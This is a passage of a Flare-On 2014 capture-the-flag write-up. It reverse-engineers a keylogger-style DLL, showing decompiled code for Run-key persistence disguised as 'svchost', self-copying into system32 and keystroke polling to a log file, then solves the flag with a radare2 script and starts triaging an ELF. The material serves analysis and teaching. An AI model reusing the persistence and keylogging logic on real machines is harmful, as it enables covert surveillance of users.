&lt;/ul&gt;
&lt;h4&gt;&lt;code&gt;sub_1000A610&lt;/code&gt; function,&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Now this &lt;code&gt;sub_1000A610&lt;/code&gt; similar as previous and here is pseudocode,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl sub_1000A610(BYTE *lpData)
{
  size_t v1; // eax
  HKEY phkResult[2]; // [esp+4h] [ebp-8h] BYREF

  if ( RegCreateKeyA(HKEY_LOCAL_MACHINE, &quot;SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run&quot;, phkResult) )
    return 1;
  v1 = strlen((const char *)lpData);
  RegSetValueExA(phkResult[0], &quot;svchost&quot;, 0, 1u, lpData, v1);
  phkResult[1] = 0;
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260128020153.png&quot; alt=&quot;Pasted image 20260128020153.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We see that it is calling &lt;code&gt;GetModuleHandleEx&lt;/code&gt; for &lt;code&gt;sub_1000A610&lt;/code&gt; and checks the return value .&lt;/li&gt;
&lt;li&gt;The return value for &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms683200%28v=vs.85%29.aspx&quot;&gt;GetModuleHandleEx&lt;/a&gt; will be non-zero, otherwise it will be zero. If call was not successful then last error will be printed to file.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260128020523.png&quot; alt=&quot;Pasted image 20260128020523.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260128020624.png&quot; alt=&quot;Pasted image 20260128020624.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If &lt;code&gt;GetModuleHandleEx&lt;/code&gt; was successful it will land here.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms683197%28v=vs.85%29.aspx&quot;&gt;GetModuleFileName&lt;/a&gt; is called which will return the full path for the specified module in &lt;code&gt;hModule&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;In this case, the binary retrieves its own path and saves it in &lt;code&gt;[ebp+Filename]&lt;/code&gt;.in return value of &lt;code&gt;sub_1000A570&lt;/code&gt; is compared with 2.&lt;/li&gt;
&lt;li&gt;If registry key did not exist, we will continue.&lt;/li&gt;
&lt;li&gt;We have already seen the strings being loaded.&lt;/li&gt;
&lt;li&gt;Then &lt;code&gt;CopyFileA&lt;/code&gt; is called to copy itself to &lt;code&gt;c:\\windows\\system32\\svchost.dll&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;It &lt;code&gt;c:\windows\system32\rundll32.exe c:\windows\system32\svchost.dll&lt;/code&gt; to the stack and calls &lt;code&gt;sub_1000A610&lt;/code&gt; .&lt;/li&gt;
&lt;li&gt;Based on this string and checking for existence of the registry key we can guess what is going to happen in this function.&lt;/li&gt;
&lt;li&gt;Inside this function we see that &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms724842%28v=vs.85%29.aspx&quot;&gt;RegCreateKey&lt;/a&gt; to open &lt;code&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;. If the key does not exist, it will create it.&lt;/li&gt;
&lt;li&gt;If call was successful, execution continues.&lt;/li&gt;
&lt;li&gt;It is adding a new registry key named &lt;code&gt;svchost&lt;/code&gt; to that path with the specified value. Then function will return with the result value of &lt;code&gt;RegSetValueEx&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;If it was successful, it will be 0.
&amp;lt;br&amp;gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Dll copied itself to system32 and it will run every time Windows starts&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;code&gt;sub_1000A4C0&lt;/code&gt; Function&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Runs forever and repeatedly performs random‑count tasks using data returned by another function, with artificial delays and memory allocation used &lt;strong&gt;mainly for noise / evasion&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;In short just not usefull.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;void __noreturn sub_1000A4C0()
{
  char *Buffer; // [esp+0h] [ebp-14h]
  int v1; // [esp+4h] [ebp-10h]
  void *v2; // [esp+8h] [ebp-Ch]
  __int16 v3; // [esp+Ch] [ebp-8h]

  while ( 1 )
  {
    v1 = rand() % 200 + 50;
    v2 = malloc(15 * v1);
    memset(v2, 0, 15 * v1);
    Sleep(0xAu);
    v3 = 0;
    while ( v3 &amp;lt; v1 )
    {
      Sleep(0xAu);
      Buffer = (char *)sub_10009EB0();
      if ( Buffer )
      {
        sub_10001000(Buffer);
        ++v3;
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;&lt;code&gt;sub_10009EB0&lt;/code&gt; function,&lt;/h5&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260128021925.png&quot; alt=&quot;Pasted image 20260128021925.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This loop is &lt;strong&gt;Scanning all keyboard keys to detect which key is pressed.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Loops through all virtual key codes from 8 to 222 and stops when it finds which key the user pressed.&lt;/li&gt;
&lt;li&gt;A classic keylogger polling logic.&lt;/li&gt;
&lt;li&gt;Here is mapping table of keystrokes and value,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;SHORT GetAsyncKeyState(
  [in] int vKey // The virtual-key code
);
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;VK (Virtual key codes)&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;VK_BACK&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VK_TAB&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VK_RETURN&lt;/td&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VK_SHIFT&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VK_CONTROL&lt;/td&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VK_MENU (Alt)&lt;/td&gt;
&lt;td&gt;18&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VK_ESCAPE&lt;/td&gt;
&lt;td&gt;27&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&apos;A&apos; - &apos;Z&apos; or &apos;a&apos; - &apos;z&apos;&lt;/td&gt;
&lt;td&gt;65–90&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;F1–F12&lt;/td&gt;
&lt;td&gt;112–123&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;for ( i = 8; ; ++i )
{
	if ( i &amp;gt; 222 )
	  return 0;
	if ( GetAsyncKeyState(i) == 0xFFFF8001 )
	  break;
	  .
	  .
	  .
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;After getting that pressed key, we just pass it to switch case which will further call some functions,&lt;/li&gt;
&lt;li&gt;And those functions are nothing but just a wrapper which return same character,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260128022927.png&quot; alt=&quot;Pasted image 20260128022927.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260128023043.png&quot; alt=&quot;Pasted image 20260128023043.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;if given input is NOT a normal character then it goes to 2nd switch case,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260128023400.png&quot; alt=&quot;Pasted image 20260128023400.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;v1 = i - 8;
switch (i)
{
	case 8:
	....
	case 190:
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Final crux of this function,&lt;/li&gt;
&lt;li&gt;And one importent thing,
&lt;ul&gt;
&lt;li&gt;This function is a &lt;strong&gt;keystroke dispatcher&lt;/strong&gt;, not a string collector.&lt;/li&gt;
&lt;li&gt;It means this whole process happens for one char only and function return and execution goes to next function which is &lt;code&gt;sub_10001000(Buffer);&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;wait until user presses a key

if key is a letter/number/symbol:
    return that character
else if key is Enter / Backspace / Space / Shift:
    handle that action
else:
    ignore and keep waiting
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;&lt;code&gt;sub_10001000&lt;/code&gt; function&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;Writes the received character into a file called &lt;code&gt;svchost.log&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;And this whole process happens with that &lt;code&gt;sub_1000A4C0&lt;/code&gt; function sleep time or just delay to make it stealth.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl sub_10001000(char *Buffer)
{
  FILE *Stream; // [esp+0h] [ebp-4h]

  for ( Stream = 0; !Stream; Stream = fopen(&quot;svchost.log&quot;, &quot;a+&quot;) )
    Sleep(0xAu);
  fputs(Buffer, Stream);
  fclose(Stream);
  return 1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Now what about flag,&lt;/li&gt;
&lt;li&gt;Here is some puzzle thing,
&lt;ul&gt;
&lt;li&gt;This function is for char &apos;M&apos; and it has hidden logic,&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sub_10001240&lt;/code&gt; hidden function&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260128234520.png&quot; alt=&quot;Pasted image 20260128234520.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260128234632.png&quot; alt=&quot;Pasted image 20260128234632.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const char *sub_10009AF0()
{
  if ( dword_100194FC &amp;gt; 0 )
  {
    _cfltcvt_init();
    sub_10001240();
  }
  return &quot;m&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;now this &lt;code&gt;sub_10001240()&lt;/code&gt; is just printing banner with some cools ascii art,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;INT_PTR sub_10001240()
{
  HINSTANCE WindowLongA; // [esp+0h] [ebp-1590h]
  wchar_t v2[12]; // [esp+4h] [ebp-158Ch] BYREF
  HWND hWnd; // [esp+1Ch] [ebp-1574h]
  wchar_t v4[2728]; // [esp+20h] [ebp-1570h] BYREF
  LPARAM dwInitParam; // [esp+1570h] [ebp-20h]
  HINSTANCE hInstance; // [esp+1574h] [ebp-1Ch]
  wchar_t Source[10]; // [esp+1578h] [ebp-18h] BYREF

  hWnd = 0;
  dwInitParam = 0;
  wcscpy(v2, L&quot;Courier New&quot;);
  wcscpy(Source, L&quot;FLARE ON!&quot;);
  wcscpy(
    v4,
    L&quot;_______________________________________________NDD__________________________________________________\n&quot;
     &quot;______________________________________________DDDDD_________________________________________________\n&quot;
     &quot;______________________________________________DDDDDN________________________________________________\n&quot;
     &quot;_____________________________________________DDDDDDD________________________________________________\n&quot;
     &quot;NNNNNNNNDDN________DNNN_____________________NDDDDDDDD_______________NNNNNNNNDN__________DNNNNNNNNNNN\n&quot;
     &quot;DDDDDDDDDDD________NDDD____________________NDDDDDDDDDN______________DDDDDDDDDDDD________DDDDDDDDDDDD\n&quot;
     &quot;DDDDDDDDDDD________NDDD____________________NDDDDDDDDDD______________DDDDDDDDDDDDN_______NDDDDDDDDDDD\n&quot;
     &quot;DDDD_______________DDDD___________________NDDDDDDDDDDDD_____________DDDD_____NDDD_______DDDD________\n&quot;
     &quot;DDDD_______________DDDD__________________DDDDDDD_DDDDDDN____________DDDD_____DDDD_______DDDD________\n&quot;
     &quot;DDDDDDDDDD_________DDDD__________________NDDDDD___DDDDDDN___________DDDDDNNNNDDDN_______DDDDDDDDDD__\n&quot;
     &quot;DDDDDDDDDD_________DDDD_________________DDDDDDN___DNDDDDD___________DDDDDDDDDDD_________DDDDDDDDDD__\n&quot;
     &quot;DDDD_______________DDDD________________DDDDDDD_____DDDDDDD__________DDDD__DDDD__________DDDD________\n&quot;
     &quot;DDDD_______________DDDD_______________DDDDDDD_______DDDDDDD_________DDDD__NNDDD_________DDDD________\n&quot;
     &quot;DDDD_______________DDDDNNNNNN_________NDDDDDN_______NDDDDDD_________DDDD___DDDDN________DDDDNNNNNNNN\n&quot;
     &quot;DDDD_______________DDDDDDDDDDD_______NDDDDDD_________NDDDDDD________DDDD____DDDD________DDDDDDDDDDDD\n&quot;
     &quot;DDDN_______________DDDDDDDDDDN______NDDDDDDDDDDDDDDD__DDDDDDD_______NDDD_____DDDD_______DDDDDDDDDDDN\n&quot;
     &quot;____________________________________DDDDDDDDDDDDDDDN___DDDDDDN______________________________________\n&quot;
     &quot;___________________________________DDDDDDDDDDDDDDD_____DDDDDDD______________________________________\n&quot;
     &quot;__________________________________DDDDDDDDDDDDDDN_______DDDDDDD_____________________________________\n&quot;
     &quot;________________________________________NDDDDDN_____________________________________________________\n&quot;
     &quot;_______________________________________DNDDDDN______________________________________________________\n&quot;
     &quot;_______________________________________DDDDD________________________________________________________\n&quot;
     &quot;______________________________________DDDDD_________________________________________________________\n&quot;
     &quot;_____________________________________DDDDD__________________________________________________________\n&quot;
     &quot;_____________________________________NDD____________________________________________________________\n&quot;
     &quot;____________________________________NDD_____________________________________________________________\n&quot;
     &quot;___________________________________DD_______________________________________________________________\n&quot;);
  wcscpy(&amp;amp;Destination, Source);
  wcscpy(&amp;amp;word_10017034, v2);
  wcscpy(&amp;amp;word_10017062, v4);
  if ( hWnd )
    WindowLongA = (HINSTANCE)GetWindowLongA(hWnd, -6);
  else
    WindowLongA = GetModuleHandleA(0);
  hInstance = WindowLongA;
  return DialogBoxIndirectParamW(WindowLongA, &amp;amp;hDialogTemplate, hWnd, DialogFunc, dwInitParam);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;But again it doesn&apos;t have flag so i looks up little bit and here is what i understand,
&lt;ul&gt;
&lt;li&gt;This program &lt;strong&gt;pretends to be a keylogger&lt;/strong&gt;, but it is actually a &lt;strong&gt;flag puzzle&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;There is &lt;strong&gt;NO place&lt;/strong&gt; where the flag exists as a string.&lt;/li&gt;
&lt;li&gt;The flag is &lt;strong&gt;never stored&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;The flag is &lt;strong&gt;never assembled&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;The flag exists &lt;strong&gt;only as logic&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Under the hood:
&lt;ul&gt;
&lt;li&gt;Each key has its &lt;strong&gt;own function&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Each function returns &lt;strong&gt;one small string&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot;a&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot;m&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot;dot&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot;at&quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Some functions also &lt;strong&gt;set hidden memory flags&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Those memory flags are the &lt;strong&gt;real secret&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Here are those variables,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260128235204.png&quot; alt=&quot;Pasted image 20260128235204.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;THE TRICK
&lt;ul&gt;
&lt;li&gt;You are NOT supposed to type the flag.&lt;/li&gt;
&lt;li&gt;Typing is a decoy.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The real flag is determined by:
&lt;ul&gt;
&lt;li&gt;which functions set those dword flags&lt;/li&gt;
&lt;li&gt;and the order of those flags&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;I know it looks weird and tricky, but I also find it very difficult, so this is my understanding.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;So to do this i referred one python script by &lt;a href=&quot;https://www.xbyte.mx/posts/flareon2014_-_challenge05/&quot;&gt;xbyte&lt;/a&gt;, so credit goes to him.&lt;/li&gt;
&lt;li&gt;Here is the script,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import r2pipe
import os

keys = [
    &quot;0x10017000&quot;,&quot;0x10019460&quot;,&quot;0x10019464&quot;,&quot;0x10019468&quot;,&quot;0x1001946c&quot;,
    &quot;0x10019470&quot;,&quot;0x10019474&quot;,&quot;0x10019478&quot;,&quot;0x1001947c&quot;,&quot;0x10019480&quot;,
    &quot;0x10019484&quot;,&quot;0x10019488&quot;,&quot;0x1001948c&quot;,&quot;0x10019490&quot;,&quot;0x10019494&quot;,
    &quot;0x10019498&quot;,&quot;0x1001949c&quot;,&quot;0x100194a0&quot;,&quot;0x100194a4&quot;,&quot;0x100194a8&quot;,
    &quot;0x100194ac&quot;,&quot;0x100194b0&quot;,&quot;0x100194b4&quot;,&quot;0x100194b8&quot;,&quot;0x100194bc&quot;,
    &quot;0x100194c0&quot;,&quot;0x100194c4&quot;,&quot;0x100194c8&quot;,&quot;0x100194cc&quot;,&quot;0x100194d0&quot;,
    &quot;0x100194d4&quot;,&quot;0x100194d8&quot;,&quot;0x100194dc&quot;,&quot;0x100194e0&quot;,&quot;0x100194e4&quot;,
    &quot;0x100194e8&quot;,&quot;0x100194ec&quot;,&quot;0x100194f0&quot;,&quot;0x100194f4&quot;,&quot;0x100194f8&quot;,
    &quot;0x100194fc&quot;,&quot;0x10019500&quot;
]

flag = &quot;&quot;

if os.path.isfile(&quot;5get_it.dll&quot;):

    r2 = r2pipe.open(&quot;5get_it.dll&quot;)
    r2.cmd(&quot;aaaa&quot;)

    for key in keys:
        xrefs = r2.cmdj(&quot;axtj &quot; + key)
        if not xrefs:
            continue

        for xref in xrefs:
            if xref.get(&quot;opcode&quot;) == f&quot;mov dword [{key}], 1&quot;:

                fcn_called = r2.cmdj(&quot;pdfj@&quot; + xref[&quot;fcn_name&quot;])
                if not fcn_called:
                    continue

                for op in fcn_called.get(&quot;ops&quot;, []):
                    dis = op.get(&quot;disasm&quot;, &quot;&quot;)
                    if &quot;mov eax, 0x100&quot; in dis:
                        addr = dis.split(&quot;,&quot;)[1].strip()
                        ch = r2.cmd(f&quot;pr 1 @ {addr}&quot;)
                        flag += ch.strip()

    r2.quit()

replacements = {
    &quot;dot&quot;: &quot;.&quot;,
    &quot;dash&quot;: &quot;-&quot;,
    &quot;at&quot;: &quot;@&quot;
}

for k, v in replacements.items():
    flag = flag.replace(k, v)

print(flag)

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~/]
└─$ python flag.py
WARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
INFO: Analyze all flags starting with sym. and entry0 (aa)
INFO: Analyze imports (af@@@i)
INFO: Analyze entrypoint (af@ entry0)
INFO: Analyze symbols (af@@@s)
INFO: Analyze all functions arguments/locals (afva@@@F)
INFO: Analyze function calls (aac)
INFO: Analyze len bytes of instructions for references (aar)
INFO: Finding and parsing C++ vtables (avrr)
INFO: Analyzing methods (af @@ method.*)
INFO: Recovering local variables (afva@@@F)
INFO: Type matching analysis for all functions (aaft)
INFO: Propagate noreturn information (aanr)
INFO: Scanning for strings constructed in code (/azs)
INFO: Finding function preludes (aap)
INFO: Enable anal.types.constraint for experimental type propagation
l0gging.ur.5tr0ke5@flare-on.co
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Here is the falg,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;l0gging.ur.5tr0ke5@flare-on.co
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Challenge 6:&lt;/h1&gt;
&lt;h2&gt;Stage 1 ELF Analysis&lt;/h2&gt;
&lt;h3&gt;Initial Triage&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;File Type: e7bc5d2c0cf4480348f5504196561297: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c65164a247cb0c44cab89c0fc06980bf6c082011, stripped&lt;/li&gt;
&lt;li&gt;Size: 1.16 MB&lt;/li&gt;
&lt;li&gt;SHA256: 3487e1de75bcb6f2c1425ca4f9b5da8fb66387343bf4a217c5a5cf93c79f0d9d&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Basic Static Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Just quick VT search,
&lt;ul&gt;
&lt;li&gt;It gives &lt;strong&gt;0/69&lt;/strong&gt; hits so it is very weird so we will do some analysis on it,&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260129104603.png&quot; alt=&quot;Pasted image 20260129104603.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Detect it Easy (Die) show that this file is written in C language and compiled using GCC in ubuntu system which means it is elf binary.&lt;/li&gt;
&lt;li&gt;It is stripped binary so symbol was be removed so it might be difficult to analyze easily.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260129104631.png&quot; alt=&quot;Pasted image 20260129104631.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It seems not packed so we don&apos;t need to do heavy unpacking stuff,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260129105324.png&quot; alt=&quot;Pasted image 20260129105324.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For better analysis i switched to &lt;code&gt;remnux&lt;/code&gt; which is linux based malware analysis lab to doing some work on elf and linux executables.&lt;/li&gt;
&lt;li&gt;I used &lt;code&gt;readelf&lt;/code&gt; tool to get some info about binary and here it is,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;remnux@remnux:~/Documents/Flare-on/2014/Chall5$ readelf -h e7bc5d2c0cf4480348f5504196561297 
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2&apos;s complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x401058
  Start of program headers:          64 (bytes into file)
  Start of section headers:          1219080 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         6
  Size of section headers:           64 (bytes)
  Number of section headers:         31
  Section header string table index: 30
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Here is silly &lt;code&gt;floss&lt;/code&gt; strings which might be worth to look,&lt;/li&gt;
&lt;li&gt;It is not that much interesting but there are some strings which looks like cpp code ad some linux commands maybe used in this binary.&lt;/li&gt;
&lt;li&gt;there is some interesting strings which is,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;/index.html Nosebleed # Heartbleed eh? :) ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c info[20]-&amp;gt;d_un.d_val == 7
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;remnux@remnux:~/Documents/Flare-on/2014/Chall5$ floss e7bc5d2c0cf4480348f5504196561297 --format sc64 | less &amp;gt; floss_strings.txt

INFO: floss: extracting static strings
finding decoding function features: 100%|██████████████████████| 1/1 [00:00&amp;lt;00:00, 453.63 functions/s, skipped 0 library functions]
INFO: floss.stackstrings: extracting stackstrings from 1 functions
extracting stackstrings: 100%|███████████████████████████████████████████████████████████████| 1/1 [00:00&amp;lt;00:00, 39.67 functions/s]
INFO: floss.tightstrings: extracting tightstrings from 0 functions...
extracting tightstrings: 0 functions [00:00, ? functions/s]
INFO: floss.string_decoder: decoding strings
decoding strings: 100%|█████████████████████████████████████████████████████████████████████| 1/1 [00:00&amp;lt;00:00, 168.85 functions/s]
INFO: floss: finished execution after 10.94 seconds
INFO: floss: rendering results

FLARE FLOSS RESULTS (version v3.1.1-0-g3cd3ee6)

+------------------------+------------------------------------------------------------------------------------+
| file path              | e7bc5d2c0cf4480348f5504196561297                                                   |
| identified language    | unknown                                                                            |
| extracted strings      |                                                                                    |
|  static strings        | 6094 (53770 characters)                                                            |
|   language strings     |    0 (    0 characters)                                                            |
|  stack strings         | 0                                                                                  |
|  tight strings         | 0                                                                                  |
|  decoded strings       | 0                                                                                  |
+------------------------+------------------------------------------------------------------------------------+


 ───────────────────────────── 
  FLOSS STATIC STRINGS (6094)  
 ───────────────────────────── 

+------------------------------------+
| FLOSS STATIC STRINGS: ASCII (6094) |
+------------------------------------+

H9\$(t
.
.
.
Logrhythm
Rails
userdel
install
which
more
Juniper
touch
wait
unexpand
7zip
0cool
apropos
IMAP
jobs
VeriSign
==:)
BIOS
Heartbleed
.
.
.
comm
rsync
tail
timeout
BBBBBBBBB@BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB&amp;gt;BBB?456789:;&amp;lt;=BBBABBB
BBBBBB
 !&quot;#$%&amp;amp;&apos;()*+,-./0123BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBFATAL: kernel too old
/dev/urandom
FATAL: cannot determine kernel version
/dev/full
/dev/null
cannot set %fs base address for thread-local storage
unexpected reloc type in static binary
cxa_atexit.c
l != ((void *)0)
__new_exitfn
LIBC_FATAL_STDERR_
/dev/tty
======= Backtrace: =========
======= Memory map: ========
/proc/self/maps
&amp;lt;heap nr=&quot;%d&quot;&amp;gt;
&amp;lt;sizes&amp;gt;
&amp;lt;/heap&amp;gt;
malloc.c
((p)-&amp;gt;size &amp;amp; 0x2)
(p-&amp;gt;prev_size == offset)
&amp;lt;unknown&amp;gt;
malloc: top chunk is corrupt
corrupted double-linked list
TOP_PAD_
PERTURB_
MMAP_MAX_
ARENA_MAX
ARENA_TEST
TRIM_THRESHOLD_
MMAP_THRESHOLD_
free(): invalid pointer
invalid fastbin entry (free)
free(): invalid size
heap-&amp;gt;ar_ptr == av
arena.c
p-&amp;gt;size == (0|0x1)
locked
malloc(): memory corruption
(bck-&amp;gt;bk-&amp;gt;size &amp;amp; 0x4) == 0
(fwd-&amp;gt;size &amp;amp; 0x4) == 0
bit != 0
correction &amp;gt;= 0
realloc(): invalid old size
realloc(): invalid next size
!((oldp)-&amp;gt;size &amp;amp; 0x2)
ncopies &amp;gt;= 3
realloc(): invalid pointer
hooks.c
ms-&amp;gt;av[2*i+3] == 0
nclears &amp;gt;= 3
Arena %d:
system bytes     = %10u
in use bytes     = %10u
Total (incl. mmap):
max mmap regions = %10u
max mmap bytes   = %10lu
&amp;lt;malloc version=&quot;1&quot;&amp;gt;
_int_memalign
_int_malloc
sYSMALLOc
munmap_chunk
_int_free
heap_trim
mremap_chunk
_int_realloc
__libc_malloc
__libc_realloc
__libc_valloc
__libc_pvalloc
__libc_calloc
.
.
.
&amp;lt;total type=&quot;fast&quot; count=&quot;%zu&quot; size=&quot;%zu&quot;/&amp;gt;
&amp;lt;total type=&quot;rest&quot; count=&quot;%zu&quot; size=&quot;%zu&quot;/&amp;gt;
&amp;lt;system type=&quot;current&quot; size=&quot;%zu&quot;/&amp;gt;
&amp;lt;system type=&quot;max&quot; size=&quot;%zu&quot;/&amp;gt;
&amp;lt;aspace type=&quot;total&quot; size=&quot;%zu&quot;/&amp;gt;
&amp;lt;aspace type=&quot;mprotect&quot; size=&quot;%zu&quot;/&amp;gt;
&amp;lt;/malloc&amp;gt;
malloc_consolidate
__malloc_set_state
__libc_memalign
../sysdeps/x86_64/multiarch/../cacheinfo.c
! &quot;cannot happen&quot;
offset == 2
.
.
.
